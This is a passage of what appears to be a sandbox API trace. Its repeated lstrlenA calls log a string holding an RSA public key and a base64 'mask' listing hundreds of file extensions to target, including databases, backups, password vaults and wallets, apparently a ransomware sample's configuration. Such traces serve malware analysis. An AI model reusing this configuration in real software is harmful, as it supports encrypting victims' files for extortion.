ZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0052.470] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0052.470] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0052.470] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0052.470] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwg